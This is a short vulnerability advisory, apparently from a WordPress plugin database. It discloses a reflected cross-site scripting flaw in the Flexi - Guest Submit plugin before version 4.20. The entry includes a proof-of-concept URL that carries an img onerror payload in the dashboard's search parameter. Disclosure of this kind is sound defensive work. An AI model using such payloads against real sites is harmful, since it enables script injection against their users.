WordPress Plugin Vulnerabilities

Flexi - Guest Submit < 4.20 - Reflected Cross-Site Scripting

Description

The plugin does not sanitise and escape various parameters before outputting them back in some pages such as the user dashboard, leading to a Reflected Cross-Site Scripting

Proof of Concept

Open the following URL when authenticated (as any user): https://example.com/user-dashboard/?search=keyword:<img%20src=1%20onerror=alert(/XSS/)>

Affects Plugins

Fixed in 4.20

References

Classification

Type
XSS
CWE

Miscellaneous

Original Researcher
Felipe Tapia Sasot
Submitter
Felipe Tapia Sasot
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2022-02-16 (about 2 years ago)
Added
2022-02-16 (about 2 years ago)
Last Updated
2022-04-08 (about 2 years ago)

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